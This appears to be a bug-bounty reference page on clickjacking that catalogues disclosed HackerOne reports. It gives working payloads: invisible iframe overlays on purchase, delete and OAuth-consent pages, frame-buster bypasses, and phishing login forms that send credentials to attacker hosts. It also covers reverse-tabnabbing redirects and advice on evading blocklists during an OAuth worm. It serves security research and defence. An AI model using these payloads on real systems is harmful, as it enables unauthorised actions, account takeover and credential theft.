⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Clickjacking
Vulnerabilities

Clickjacking

Β§Basic information

Clickjacking (UI redress) coerces a victim into clicking or typing on a control they can't see. The attacker frames a real, authenticated page and floats bait over it, so a "Click to win" click actually lands on Authorize / Purchase / Delete / Follow inside the victim's own session β€” the browser sends the victim's cookies, so no CSRF token is needed. The single most important rule: it is only worth reporting when the framed action changes state or leaks data; a missing header on a read-only page is a nag, not a finding.

The class is broader than a hidden <iframe>. It spans transparent overlays, data-exfil clickjacks (the app auto-prefills the victim's PII, so a blind click submits it), in-app phishing forms injected into unsanitized render surfaces, framing-free DoubleClickjacking via popup timing, and reverse tabnabbing. Its real power is as a delivery vector: it turns otherwise-unreachable bugs (self-XSS, one-click OAuth consent) into cross-user attacks.

Β§Methodology

  1. Enumerate one-click state-changers. Walk the app for pages where a single click authorizes, buys, deletes, deactivates, follows, or submits stored PII. Those are the only targets worth framing.
  2. Test framing in Chrome specifically. Drop the action URL into a bare iframe and load it. Some defenses (ALLOW-FROM) appear to protect in Firefox but are ignored elsewhere.
  3. Read the header value, not just its presence. X-Frame-Options: ALLOW-FROM = zero protection in Chrome/Safari/Edge (only Firefox and legacy IE ever honored it); SAMEORIGIN = beatable if the app offers a same-origin embed one level down; no frame-ancestors at all = frameable.
  4. Handle frame-busters. If the frame renders then the top window navigates away, the page has a JS frame-buster β€” neutralise it with sandbox (see Bypasses).
  5. Overlay bait over the real control, set the frame to opacity:0, and confirm the victim's click reaches the button underneath.
  6. Escalate the click β€” pick a target whose one click yields tokens, money, PII, or drives a second bug.
<!-- If this shows the real UI instead of a blank/refused frame, it's frameable --> <iframe src="https://TARGET/settings/oauth/authorize?client_id=x" width="900" height="700"></iframe>

Β§Technique variants

Pick the variant that matches the target's defense and impact surface.

Transparent-overlay clickjack

The classic. Frame the action page, float a decoy where the real button will render, make the frame invisible and put it on top. The victim aims at the decoy; the click lands on the framed control.

<button style="position:absolute;z-index:1;top:300px;left:300px">Click to win!</button> <iframe src="https://TARGET/checkout/deal/DEALID?return_url=/" style="opacity:0;position:absolute;z-index:2;top:0;left:0;width:100%;height:100%"></iframe>

Data-exfil clickjack (autofill)

No keystroke hijack needed when the app auto-prefills the victim's name/email into a framed widget (persisted across tabs/merchants). The stolen blind click submits their prefilled PII to an attacker-configured endpoint.

<!-- victim who previously used the widget has fields pre-filled; one click ships them --> <button style="position:absolute;z-index:1;top:200px;left:200px">Continue</button> <iframe src="https://commerce.widget.TARGET/checkout?to=ATTACKER_MERCHANT" style="opacity:0;position:absolute;z-index:2;top:0;left:0;width:100%;height:100%"></iframe>

In-app phishing forms/iframes (no JS)

When the "frame" is the app's own trusted chrome β€” a wiki, note, comment, or Electron preview pane that renders user HTML/markdown without sanitizing β€” inject a full <form> or an <iframe> to an attacker login page. Reuse the app's own CSS classes for a pixel-perfect fake modal, and hide the markup in HTML comments so it's invisible in the editor but rendered in preview.

<!-- reuse the app's real classes; no inline style so a CSP can't block it --> <div class="modal show d-block"><div class="modal-content"> <h3 class="page-title">Please Log In</h3> <form action="https://COLLAB/login.php"> <input name="username" class="form-control"> <input name="password" type="password" class="form-control"> <button class="btn btn-success">Login</button> </form> </div></div> <!-- iframe variant slips a form-only injection filter --> <iframe src="https://COLLAB/fake-login.html" frameborder="0"></iframe>

Full-page click-catcher

Instead of overlaying a remote page, smuggle a single giant absolutely-positioned anchor into a page others view. It covers the viewport and intercepts every click, sending the victim to an attacker page (chains cleanly with reverse tabnabbing via target=_blank).

<a href="https://COLLAB/signin" target="_blank" class="atwho-view select2-drop-mask"><img height="10000" width="10000"></a>

DoubleClickjacking (no iframe)

Framing-free. Open a popup with a "Double Click" button positioned over where the real Authorize button will render. The victim's first click closes the decoy and drives the current tab to the real OAuth authorize URL; the second click lands on Authorize underneath. All anti-framing headers are irrelevant because nothing is framed.

https://TARGET/oauth/authorize?client_id=ATTACKER_ID&response_type=code&redirect_uri=https://COLLAB/UUID&scope=read_orgs,write_orgs

Reverse tabnabbing

Any link rendered with target=_blank but without rel="noopener noreferrer" lets the opened page rewrite the original tab via window.opener.location β€” repointing it to a phishing clone the victim trusts because "it was already open".

● NOTE
Modern browsers (Chrome/Firefox/Safari since ~2021) make target=_blank imply noopener by default, so window.opener is null on plain anchors. Reverse tabnabbing is now exploitable mainly where the app explicitly re-adds rel="opener", strips noopener through a flawed internal-link check (see #212629), or renders links through window.open()/older engines. Confirm window.opener is reachable before relying on it.
<a href="https://COLLAB/tabnab" target="_blank">Reverse Tabnabbing</a>
// attacker page, runs on load: window.opener.location = 'https://COLLAB/fake-login';
β–² WARNING
A missing X-Frame-Options on a page with no state-changing action or PII disclosure is not a finding β€” it closes as informative. Always demonstrate the click landing on a real Authorize/Purchase/Delete/submit control (#391385, #154963 show what "real" impact looks like).

Β§Bypasses

Filter / controlBypassSeen in
X-Frame-Options: ALLOW-FROMUnsupported in Chrome/Safari/Edge β†’ header ignored, page fully frameable (only Firefox/legacy IE honored it; test in Chrome)#198622
X-Frame-Options: SAMEORIGINNest through a same-origin embed/card: TARGET→attacker→TARGET; XFO only checks top-vs-frame, not the ancestor chain#85624
JS frame-busterWrap the victim frame in sandbox="allow-forms" (omit allow-scripts/allow-top-navigation) to strip the buster's JS#85624, #54733
onbeforeunload top-nav busterwindow.onbeforeunload handler that calls stop() cancels the buster's navigation#198622
confirm() guard on the actionHTML5 sandbox="allow-forms" disables the JS confirm() dialog, so the guard never fires#54733
frame-ancestors/XFO presentFraming-free DoubleClickjacking β€” popup + click timing, no frame at all#3287060
Markup sanitizer (attribute strip)Smuggle class/target/href through an alternate markup path (RDoc linkable-image {<img>}[link]) the attribute filter doesn't cover#662287
HTML sanitizer blocklist<frameset>/<frame> slip a blocklist that only filters <iframe>#285609
Internal-link noopener allowlisthttps://TRUSTED_HOST@attacker.tld β€” trusted host is only the userinfo, so the external host is treated "internal" and rel=noopener/noreferrer is dropped#212629
Form-only injection filterInject an <iframe> to an external login page instead of a raw <form>#289823
Editor-visible detectionHide the phishing markup in HTML comments β€” visible while editing, rendered in preview#289823, #662287
● NOTE
sandbox is the master key against frame-busters: it can disable JavaScript in the framed page (killing the buster and any confirm() guard) while allow-forms keeps the target button clickable. Never grant allow-top-navigation β€” that would hand the buster its escape.

Β§Escalation & impact

Clickjacking's ceiling is the action you land on β€” chain it into a bug that a triager pays for:

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 20 in this class.

Real-world example

Markup sanitizer bypass via RDoc image-link β†’ full-page overlay & fake login modal

β—† High
Specimen #662287 Β· gitlab Β· 3500 Β· 282 votes Β· resolved
Program gitlabSurface webChain HTML/attribute injection β†’ UI redress (full-page overlay + rTag account-takeover

Root cause

An HTML sanitizer that strips attributes in the normal path fails to sanitize anchor/img attributes emitted through an alternate markup construct (RDoc linkable image {<img>}[link]), letting an attacker set class/target and inject arbitrary styled markup into a page other users view.

Method

  1. Create a wiki page and choose RDoc markup
  2. Use the linkable-image form {<a ... class=...><img ...></a>}[a] to smuggle attributes the normal sanitizer would strip
  3. Apply existing app CSS classes (position:absolute + high z-index) to make an anchor cover the whole page and intercept every click
  4. Alternatively inject a full <form> modal styled with the app's own CSS to render a convincing fake login prompt that POSTs to attacker.com
  5. Publish and wait for a victim to view/click
{ <a href='https://attacker.tld/users/signin' class='atwho-view select2-drop-mask pika-select'> <img height=10000 width=10000></a> }[a] <!-- fake login modal reusing the app's own bootstrap classes --> { <div class="modal show d-block"><div class="modal-dialog"><div class="modal-content"> <div class="modal-header"><h3 class="page-title">Please Log In</h3></div> <div class="modal-body"><form action="http://attacker.tld/"> <input type="text" name="username" class="form-control"> <input type="password" name="password" class="form-control"> <button type="submit" class="btn btn-success">Login</button> </form></div></div></div></div> }[/]

Insight β€” When a sanitizer has multiple parsing paths (markdown vs RDoc vs Textile etc.), test EVERY alternate markup construct β€” the same attribute filter is often only wired into the primary path. Reusing the target app's own CSS class names produces pixel-perfect fake dialogs and full-page click-catchers without needing inline styles that CSP might block.

Real-world example

DM link-truncation spoof chained to clickjacked OAuth-app worm

β—† High
Specimen #643274 Β· x Β· awarded Β· 64 votes Β· resolved
Program xSurface webChain Trusted-DM delivery β†’ truncation link spoof β†’ fake Google reTag oauthTag account-takeover

Root cause

A DM UI truncates displayed link text after ~38 chars, so a long URL renders as a trusted-looking prefix (accounts.youtube.com/accounts/SetSI...) while actually pointing elsewhere; combined with a fake Google re-login and a clickjacked/auto-authorized malicious OAuth app, one click seeds a self-spreading worm via the victim's DMs.

Method

  1. Craft a very long URL whose visible truncated prefix is a trusted domain path (e.g. accounts.youtube.com/accounts/SetSID?...)
  2. Deliver it via DM from an already-infected reciprocal follow so it carries social trust
  3. Chain: force Google logout then a fake Google re-login harvests credentials
  4. Redirect through attacker infra to a randomized malicious 3rd-party Twitter OAuth app authorize screen (one of ~10 to evade blocking)
  5. If the victim is logged in, the authorize click can be completed automatically; the app then DMs the same link to all the victim's reciprocal follows
Displayed: ONLY FOR YOU { accounts.youtube.com/accounts/SetSI... } Actual: https://accounts.youtube.com/accounts/SetSID?...&continue=https%3A%2F%2Fgoogle.com%2Faccounts%2FLogout%3Fcontinue%3D...%2Fwww.getmorefollowers.biz%2F... OAuth sink (randomized to evade takedown): https://api.twitter.com/oauth/authenticate?oauth_token=<attacker_app_token>

Insight β€” UI text truncation of links is a spoofing primitive: whatever renders in the first N chars is the whole social-engineering payload. Combine link-display spoofing with an OAuth 'authorize app' one-click action to build a self-propagating worm β€” rotate many attacker app tokens so blocklists lag. Look for any place a client shortens/truncates displayed URLs.

Real-world example

Wormable clickjacking via nested-frame XFO bypass + sandbox anti-framebuster

β—† Medium
Specimen #85624 Β· x Β· awarded Β· 134 votes Β· resolved
Program xSurface webChain Same-origin embed β†’ nested-frame XFO bypass β†’ sandbox anti-fTag account-takeover

Root cause

X-Frame-Options: SAMEORIGIN only checks the immediate top window's origin, so a same-origin embeddable feature (Twitter Player Card) can re-frame a sensitive same-origin page through an attacker frame (twitter→attacker→twitter), defeating SAMEORIGIN; CSP2 frame-ancestors is the only correct defense but is unsupported in older Safari/IE.

Method

  1. Find an app feature that renders attacker-controlled HTML inside a same-origin iframe (player card, embed, preview)
  2. From that inner frame, embed the sensitive same-origin page: twitter.com(top) β†’ attacker card β†’ twitter.com(action page)
  3. SAMEORIGIN passes because it only compares top-vs-frame origin, not the full ancestor chain
  4. Wrap the victim frame with iframe sandbox to strip JS and kill any JS frame-buster
  5. Overlay bait UI over one-click actions (follow/retweet/tweet) to make the attack self-propagating (wormable)
<!-- attacker-controlled player-card HTML re-frames a same-origin action page --> <iframe src="//twitter.com/some/one-click-action"></iframe> <!-- defeat any JS frame-buster on the framed page --> <iframe sandbox="allow-forms allow-scripts" src="//victim.tld/action"></iframe>

Insight β€” XFO SAMEORIGIN is bypassable whenever the app itself lets you frame same-origin content one level down (embeds/cards/previews) β€” only CSP frame-ancestors validates the whole ancestor list. Always add sandbox (without allow-top-navigation) to neutralize JS frame-busters. A clickjack over a one-click 'share/tweet' action becomes a self-spreading worm.

Real-world example

DoubleClickjacking on OAuth consent (defeats X-Frame-Options)

β—† Medium
Specimen #3287060 Β· wakatime Β· none Β· 57 votes Β· resolved
Program wakatimeSurface webChain clickjacking -> OAuth consent -> auth code capture -&gTag oauthTag account-takeover

Root cause

OAuth authorization/consent pages that only defend against classic framing (X-Frame-Options/frame-ancestors) remain exploitable via double-click: an attacker page opens a popup, times the victim's two clicks so the first closes the decoy and the second lands on the real Authorize button underneath.

Method

  1. Register an attacker OAuth app on the target with a redirect_uri you control (e.g. webhook.site)
  2. Host a decoy page with a 'Double Click' button positioned over where the consent 'Authorize' button will render
  3. On first click, close the decoy tab/window and simultaneously drive the current tab to the OAuth authorize URL
  4. The victim's second click lands on the real Authorize button; capture the code at your redirect_uri and exchange it for a token
https://TARGET/oauth/authorize?client_id=ATTACKER_ID&response_type=code&redirect_uri=https://webhook.site/UUID&scope=read_orgs,write_orgs

Insight β€” X-Frame-Options/frame-ancestors do NOT stop DoubleClickjacking because no framing occurs. Test any one-click state-changing action (OAuth consent, 'delete', 'transfer') for double-click coercion. Fix = require a fresh gesture or disable the critical button until pointer/keyboard interaction.

Real-world example

Frameable lead-generation card leaks victim email on one click

β—† Medium
Specimen #154963 Β· x Β· awarded Β· 49 votes Β· resolved
Program xSurface webChain Missing frame protection β†’ clickjacked lead-gen submit β†’ emaTag account-takeover

Root cause

A lead-gen/marketing card page that auto-submits the logged-in user's account email/username to a configured endpoint is missing frame protection, so an attacker frames it and clickjacks the submit button to exfiltrate the victim's PII.

Method

  1. Find an app 'card'/widget that, on a single button click, submits the authenticated user's stored email/username
  2. Confirm the page lacks X-Frame-Options / frame-ancestors
  3. Frame the card and overlay bait UI over its submit button
  4. Victim's click submits their email/username to the attacker-controlled card destination
<html> <iframe src="https://twitter.com/i/cards/tfw/v1/<card_id>?cardname=promotion&autoplay_disabled=true&earned=true&lang=en&card_height=357"></iframe> </html>

Insight β€” Framing impact is highest on pages whose single click discloses or submits stored user data (lead-gen cards, 'share my info', prefilled forms). Hunt for widget/card endpoints that echo the logged-in user's email β€” a plain missing-XFO becomes real PII theft rather than a low-hanging nag.

Real-world example

X-Frame-Options ALLOW-FROM is unsupported β†’ header present, zero protection

β—† Medium
Specimen #198622 Β· x Β· 560 Β· 11 votes Β· resolved
Program xSurface webChain Ineffective ALLOW-FROM header β†’ frameable page β†’ clickjackedTag account-takeover

Root cause

X-Frame-Options: ALLOW-FROM <uri> is not supported by Chrome, Safari or IE; those browsers ignore the whole header, so a page that relies on ALLOW-FROM has no frame protection at all and every state-changing action on it is clickjackable.

Method

  1. Grep responses for X-Frame-Options: ALLOW-FROM ... (or a frame-ancestors that omits the framing origin)
  2. Load the target in an <iframe> in Chrome/Safari β€” if it renders, ALLOW-FROM is being ignored
  3. Overlay bait over one-click actions (follow, deactivate, delete, settings change)
  4. Optionally use a quickjack-style auto-align script to position the frame precisely over the target control
<!-- Chrome ignores ALLOW-FROM, so this frames a 'protected' page --> <iframe src="https://vulnerable.site/action" frameborder="0"></iframe> <!-- quickjack auto-align + frame-buster defeat (from #658217) --> <script>function t(e){window.setTimeout('stop();',10);}window.onbeforeunload=t;</script>

Insight β€” Presence of X-Frame-Options does NOT mean protected. Always read the value: ALLOW-FROM only works in Firefox/legacy Edge and is ignored elsewhere, and the modern replacement is CSP frame-ancestors. Test framing in Chrome specifically before dismissing a target as protected.

Real-world example

Clickjacking local AV warning pages to override cert/disable protections

β—† Medium
Specimen #463695 Β· kaspersky Β· none Β· 11 votes Β· resolved
Program kasperskySurface desktopChain MitM (public WiFi) β†’ clickjacked AV cert-warning override β†’ Tag account-takeover

Root cause

Antivirus web-protection UIs (certificate-error, Safe Money, phishing-warning pages) are injected into the browser and are frameable, and their override action needs only a single click, so an attacker frames the AV warning page and clickjacks the victim into overriding a certificate warning or disabling protection β€” devastating when combined with a MitM position.

Method

  1. On a MitM position (public WiFi), redirect the victim's plain-HTTP traffic to attacker content
  2. Present a page masquerading as an AV network-warning that invites a single click
  3. The click actually lands on the AV's framed certificate-error 'I understand the risks and wish to continue' link
  4. The generic AV confirmation dialog ('go to insecure resource?') matches the pretext, so the victim confirms
  5. Certificate warning for a high-profile HTTPS site is now permanently overridden; connection is hijackable
<!-- frames the AV's own certificate-error page; overlay bait over the single override link --> <iframe src="about:av-cert-error-page" style="opacity:0;position:absolute"></iframe> <!-- attacker page text mimics the AV's out-of-band warning wording -->

Insight β€” Security software that renders its warnings in the browser DOM inherits web clickjacking risk. Single-click, irreversible security decisions (override cert, disable Safe Money, dismiss phishing warning) must require two clicks on different regions and must be un-frameable. As an attacker, look for locally-injected security UIs that can be framed.

Real-world example

Reverse tabnabbing via userinfo trick bypassing internal-link nofollow

β—† Medium
Specimen #212629 Β· gitlab Β· none Β· 8 votes Β· resolved
Program gitlabSurface webChain Internal-link misclassification β†’ target=_blank without noopTag account-takeover

Root cause

The link filter decides a URL is 'internal' (and therefore skips adding rel="nofollow noreferrer" and safe target handling) by matching the host prefix, but https://gitlab.com@example.com is parsed as userinfo gitlab.com against host example.com β€” so the external destination is treated as internal and rendered with target=_blank and no noopener/noreferrer, enabling reverse tabnabbing.

Method

  1. Find a link renderer that treats internal links differently (skips rel=nofollow/noreferrer, allows target=_blank)
  2. Craft https://TRUSTED_HOST@attacker.tld so the trusted host is only the userinfo component
  3. The naive host-prefix check treats it as internal and omits noopener/noreferrer
  4. Victim opens it in a new tab; attacker page uses window.opener to rewrite the original tab to a phishing clone
<a href="https://gitlab.com@example.com" target="_blank">Reverse Tabnabbing</a>

Insight β€” URL parsers and 'is this our domain?' checks are frequently fooled by the userinfo @ separator (https://TRUSTED@evil.tld) β€” the same trick bypasses internal-link allowlists, SSRF host filters, and open-redirect validators. Any link that gets target=_blank without rel=noopener is a reverse-tabnabbing sink.

Real-world example

Clickjacking a review-management page to delete reviews

β—† Medium
Specimen #965141 Β· yelp Β· none Β· 6 votes Β· resolved
Program yelpSurface web

Root cause

The authenticated review-management page (/user_details_reviews_self) served no X-Frame-Options/frame-ancestors, so it can be embedded in a cross-origin iframe and its destructive 'remove review' control clickjacked.

Method

  1. Frame https://www.yelp.com/user_details_reviews_self in an attacker page
  2. Overlay/decoy UI so the victim's click lands on the review 'remove' control
  3. Victim (logged in) clicks β†’ their review is deleted
<iframe style="width:100%;height:100%" src="https://www.yelp.com/user_details_reviews_self?"></iframe>

Insight β€” Frameability only matters when the framed page has a state-changing one-click action. Hunt for destructive GET/one-click actions (delete, unsubscribe, disconnect) on pages missing frame-ancestors β€” those turn a 'missing header' into a real medium.

Real-world example

HTML5 sandbox=allow-forms bypass of JS frame-buster / confirm() guard

β—† Medium
Specimen #54733 Β· coinbase Β· awarded Β· 3 votes Β· resolved
Program coinbaseSurface web

Root cause

A page defends a sensitive button with JavaScript (data-confirm dialog / frame-busting script). Framing it inside a sandboxed iframe that omits allow-scripts disables all JavaScript in the framed document, so the confirmation/frame-buster never runs, yet native <form> submission still works β€” the guarded click goes through silently.

Method

  1. Identify a sensitive action protected only by client-side JS (data-confirm, onclick guard, JS frame-buster).
  2. Frame the target in a sandbox iframe granting allow-forms but NOT allow-scripts (and not allow-same-origin if not needed).
  3. Overlay/transparent-align the sandboxed iframe over a decoy so the victim clicks the real submit control.
  4. Click submits the form without triggering the disabled JS confirmation.
data:text/html,<iframe sandbox="allow-forms" src="https://www.coinbase.com/checkouts/CHECKOUT_ID?c=TOKEN" style="opacity:0.1"></iframe>

Insight β€” When a target relies on JavaScript (confirm dialogs, data-confirm, frame-busting) as its only anti-clickjacking control, wrap it in a sandbox iframe WITHOUT allow-scripts: JS dies but HTML forms keep submitting. The only real fix is server-side framing headers (X-Frame-Options / CSP frame-ancestors), never client-side JS.

Real-world example

Clickjacking a state-changing form + browser autofill to exfiltrate PII

β—† Medium
Specimen #355859 Β· yelp Β· awarded Β· 18 votes Β· resolved
Program yelpSurface web

Root cause

The reservation page lacked X-Frame-Options/CSP frame-ancestors and performed a state-changing action; framed invisibly, browser autofill populates the victim's email/phone and a single click submits a reservation, forwarding the PII to the business.

Method

  1. Attacker registers a business (or targets an existing one) to receive the reservation data
  2. Embed /reservations as a transparent iframe over a decoy click target
  3. Victim clicks; autofill fills PII and the reservation submits, leaking email/phone

Insight β€” Clickjacking is impactful only on framable pages that both change state and receive autofilled PII. Hunt for framable reservation/checkout/subscribe/invite flows rather than reporting missing X-Frame-Options on static pages.

Real-world example

Clickjacking as a delivery vector for otherwise-unreachable self-DOM-XSS

β—† Low
Specimen #953579 Β· automattic Β· awarded Β· 31 votes Β· resolved
Program automatticSurface webChain Clickjacking (frameable console) β†’ guided victim input β†’ selTag account-takeover

Root cause

A self-only DOM XSS (user must paste a payload into an API console field that flows to n.html()) is normally non-exploitable, but the console page is frameable, so clickjacking drives the victim through the paste/submit steps and converts self-XSS into a real cross-user attack.

Method

  1. Identify a self-DOM-XSS where victim-supplied text reaches a sink like $(...).html(text)
  2. Note the vulnerable sink: console.js builds n.html('"<u>' + t + '</u>"') from field text
  3. Because the console page has no frame protection, frame it and clickjack the victim into typing/selecting the payload and clicking the action
  4. Payload executes in the victim's authenticated origin
self-DOM-XSS input: https://www.<img src=x onerror='alert(document.domain)'> sink (console.js:1309): n.html('"<u>' + t + '</u>"')

Insight β€” Never dismiss a 'self-XSS' as unexploitable until you check whether the page is frameable or otherwise driveable β€” clickjacking (or drag-and-drop) is the standard bridge that turns self-XSS into stored/reflected-grade impact.

Real-world example

Cross-tab field prepopulation + 0-opacity frame leaks PII on click

β—† Low
Specimen #316290 Β· coinbase Β· awarded Β· 16 votes Β· resolved
Program coinbaseSurface webChain Field prepopulation across tabs β†’ 0-opacity frame β†’ stolen cTag account-takeover

Root cause

A commerce widget persists a user's previously entered name/email and auto-prepopulates those fields in any new instance (any merchant, any tab); an attacker frames the widget at 0 opacity so a victim who once used it and then clicks the invisible frame submits their prefilled PII to a charge configured by the attacker's merchant.

Method

  1. Confirm the widget prepopulates PII fields from a prior session across tabs/merchants
  2. Embed the widget in an attacker page with opacity:0 over bait UI
  3. Victim who previously reached the name/email step has fields auto-filled
  4. Victim's click on the bait submits the prefilled name/email into an attacker-controlled charge
<iframe src="https://commerce.widget.tld/checkout?to=ATTACKER_MERCHANT" style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%"></iframe> <!-- bait button positioned under the widget's submit control -->

Insight β€” Autofill/prepopulation across origins or tabs turns a plain clickjack into data exfiltration: the victim doesn't type anything β€” the app pre-fills their PII and the stolen click submits it. When auditing widgets/checkouts, test whether fields persist and prefill in a fresh framed instance.

Real-world example

Clickjacking on state-changing pages missing X-Frame-Options

β—† Low
Specimen #214087 Β· yelp Β· awarded Β· 13 votes Β· resolved
Program yelpSurface webTag account-takeover

Root cause

X-Frame-Options SAMEORIGIN is set on most pages but not applied consistently, leaving state-changing pages framable and abusable via transparent-overlay UI redress.

Method

  1. Enumerate pages and diff X-Frame-Options / CSP frame-ancestors coverage; find framable state-changing pages.
  2. Frame the target page transparently (opacity:0) over decoy clickable UI.
  3. Bait the victim into clicks that perform real actions: bookmark business, add event to profile, edit review rating.
<style>iframe{opacity:0;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2}</style> <button>Claim your prize</button> <iframe src="https://www.yelp.com/<state-changing-page>"></iframe>

Insight β€” Clickjacking is only a finding when the framed page performs a state change. Test frame protection per-page, not site-wide: a single unprotected settings/action page is enough. Multi-click flows still work because a baited user keeps clicking.

Real-world example

Automated multi-click PoC via Burp Clickbandit (postMessage frame alignment)

β—† Low
Specimen #244697 Β· wakatime Β· none Β· 6 votes Β· resolved
Program wakatimeSurface web

Root cause

A framable page with a multi-step click sequence can be exploited by a recorded, self-realigning clickjacking PoC: a data: URI wrapper iframe repositions the target iframe via postMessage between clicks, walking the victim through several precise clicks while a decoy button follows the cursor.

Method

  1. Confirm the target lacks X-Frame-Options / frame-ancestors on the embeddable endpoint (e.g. /share/embed).
  2. Record the intended click sequence with Burp Clickbandit to capture per-click coordinates/sizes (clickTracking array).
  3. Serve the generated page: a base64 data:text/html wrapper iframe holds the target and listens for postMessage to set width/height/left/top, realigning to each recorded click.
  4. On each blur/click the script advances currentPosition and repositions the frame + decoy button for the next click.
<iframe id="parentFrame" src="data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIC4uLiI+PGlmcmFtZSBzcmM9Imh0dHBzOi8vd2FrYXRpbWUuY29tL3NoYXJlL2VtYmVkIiAuLi4+" style="opacity:0.5;position:absolute;z-index:1"></iframe> <!-- window.clickbandit.config.clickTracking = [{width,height,left,top,documentWidth,documentHeight}, ...] drives realignment via postMessage -->

Insight β€” For multi-step clickjacking, don't hand-align pixels β€” generate the PoC with Burp Clickbandit, which records the click path and emits a self-realigning postMessage wrapper. Even 'low impact' embed widgets are worth checking for framing headers.

Real-world example

Clickjacking a framable checkout/purchase endpoint

β—† Low
Specimen #391385 Β· yelp Β· awarded Β· 6 votes Β· resolved
Program yelpSurface web

Root cause

The /checkout/deal purchase page sets no X-Frame-Options/CSP frame-ancestors, so it can be embedded as a hidden iframe and the victim's click hijacked to complete a purchase against their saved card (a state-changing, monetary action).

Method

  1. Embed the deal/checkout URL in a transparent, overlaid iframe on an attacker page
  2. Position an enticing decoy button under the framed Purchase button
  3. Victim (logged in) clicks -> purchase is completed with their stored card
<iframe style="opacity:0;position:absolute;z-index:2" src="https://www.yelp.com/checkout/deal/DEALID?biz_id=BIZ&return_url=/"></iframe> <button style="position:absolute;z-index:1">Click to win</button>

Insight β€” Clickjacking is only worth reporting when the framed page performs a state-changing action. Purchase/checkout, add-payment, delete-account and OAuth-authorize pages missing frame-ancestors are the high-impact targets - fixed here by X-Frame-Options + site-wide CSP.

Real-world example

Clickjacking state-changing GET endpoints to bypass CSRF tokens

β—† Low
Specimen #305128 Β· yelp Β· awarded Β· 5 votes Β· resolved
Program yelpSurface web

Root cause

Sensitive state-changing actions were exposed as parameterized GET URLs on pages lacking framing protection, so an attacker frames the authenticated page and overlays a decoy control; the click submits the action with the victim's session and no user-visible CSRF token is needed.

Method

  1. Enumerate state-changing endpoints reachable by GET or by a single framed click (report user, follow user, send compliment, change email/role, delete resource).
  2. Confirm the target page returns no X-Frame-Options / CSP frame-ancestors and can be framed.
  3. Embed the authenticated page in a hidden/low-opacity iframe and align a bait button (opacity 0 iframe over visible decoy, or visible iframe under transparent decoy).
  4. Pre-load attacker-controlled parameters (e.g. custom abuse message) so a single victim click triggers the full action.
https://www.yelp.com/flag_content?message=This%20person%20is%20abusive&flag_id=ID&flag_type=user_profile&previous_url=/user_details?userid=ID https://www.yelp.com/following_user/add?dst_user_id=ID&previous_url=/user_details?userid=ID https://www.yelp.com/thanx?message=go%20to%20hell&previous_url=/user_details?userid=ID&user_id=ID <iframe src="TARGET_STATE_CHANGING_URL" style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2"></iframe> <button style="position:absolute;top:330px;left:100px;z-index:1">Click me</button>

Insight β€” Clickjacking bypasses CSRF-token protection because the request rides inside the real page. Prioritize framed pages that expose one-click/GET state changes (follow, delete, change email, change role, privacy toggles). Note the timeline: X-Frame-Options: SAMEORIGIN did NOT cover all cases here β€” CSP frame-ancestors was the real fix. Always re-test mobile (m.) subdomains separately; they frequently ship without the framing headers the desktop site has.

Real-world example

HTML sanitizer blocklist bypass via frameset/frame tags

β—† Low
Specimen #285609 Β· khanacademy Β· none Β· 1 votes Β· resolved
Program khanacademySurface web

Root cause

A rich-text/HTML editor blocklisted iframe/object/embed but forgot the legacy frameset/frame tags, allowing an attacker to embed another same-origin page (e.g. user settings) despite X-Frame-Options: SAMEORIGIN, enabling stored/same-origin clickjacking.

Method

  1. Find a user-controlled HTML sink (editor, comment, profile) that filters framing tags.
  2. Test the blocklist coverage: iframe/object/embed may be blocked while frameset/frame/portal/svg-foreignObject are not.
  3. Inject <frameset><frame src="/settings"></frameset> to load a sensitive same-origin page (SAMEORIGIN permits same-origin framing).
  4. Overlay decoys for clickjacking or use it for UI redress within the app.
<frameset><frame src="https://www.khanacademy.org/settings"></frameset>

Insight β€” Sanitizer blocklists are almost always incomplete β€” when iframe/object/embed are rejected, try the legacy frameset/frame tags (and portal, svg foreignObject). X-Frame-Options: SAMEORIGIN does not stop same-origin framing, so an in-app HTML injection can still frame sensitive same-origin pages.

Real-world example

Unsanitized note rendering β†’ in-app phishing login form

β—† Info
Specimen #289823 Β· automattic Β· awarded Β· 19 votes Β· resolved
Program automatticSurface desktopChain Unsanitized HTML render β†’ embedded phishing form/iframe β†’ crTag account-takeover

Root cause

A notes/markdown app renders user-authored HTML in its preview pane without sanitization, letting an attacker embed a full <form> (or an <iframe> to an external login page) that looks like a native app login prompt and POSTs the victim's credentials to a third-party server.

Method

  1. Author a note containing raw HTML: a styled <form action=attacker.tld> with email/password inputs, or an <iframe> to an attacker login page
  2. Share/sync the note so it renders in the victim's preview pane
  3. Hide the form beneath legitimate-looking text (or inside HTML comments that vanish in preview) to disguise the note as a document
  4. Optionally style the app to look 'crashed' and prompt re-login; victim submits credentials to attacker
<h1 class="signin">Please sign in</h1> <form action="https://attacker.tld/login.php" name="login"> <input name="email" type="email" placeholder="Email" required> <input name="password" type="password" required> <input class="submit button" value="Sign In" type="submit"> </form> <!-- iframe variant (Simplenote/Electron): fix is CSP frame-src 'none' --> <iframe src="https://attacker.tld/simplenote-login.html" frameborder=0></iframe>

Insight β€” Any app that renders user HTML/markdown in a trusted chrome (notes, comments, wikis, Electron apps) is a phishing surface even without JS: forms and iframes alone steal credentials. Test both raw <form> injection and <iframe> injection; hide the payload in HTML comments (visible in editor, stripped in preview) to make the note look benign. Electron apps should ship a CSP with frame-src/form-action locked down.

Real-world example

OAuth authorize page clickjacking (missing X-Frame-Options)

β—† Info
Specimen #65825 Β· coinbase Β· USD 5000 Β· 15 votes Β· resolved
Program coinbaseSurface webTag oauthTag account-takeover

Root cause

OAuth-related responses omitted the X-Frame-Options (and framing) headers that the rest of the site set, so the 'Authorize' button could be framed and clickjacked into granting an app access.

Method

  1. Frame the OAuth authorize/consent page in an iframe on an attacker page
  2. Overlay/entice the victim to click the hidden Authorize button
  3. OAuth grant completes, giving the attacker app access
<iframe src="https://TARGET/oauth/authorize?client_id=<attacker_app>&..." style="opacity:0"></iframe>

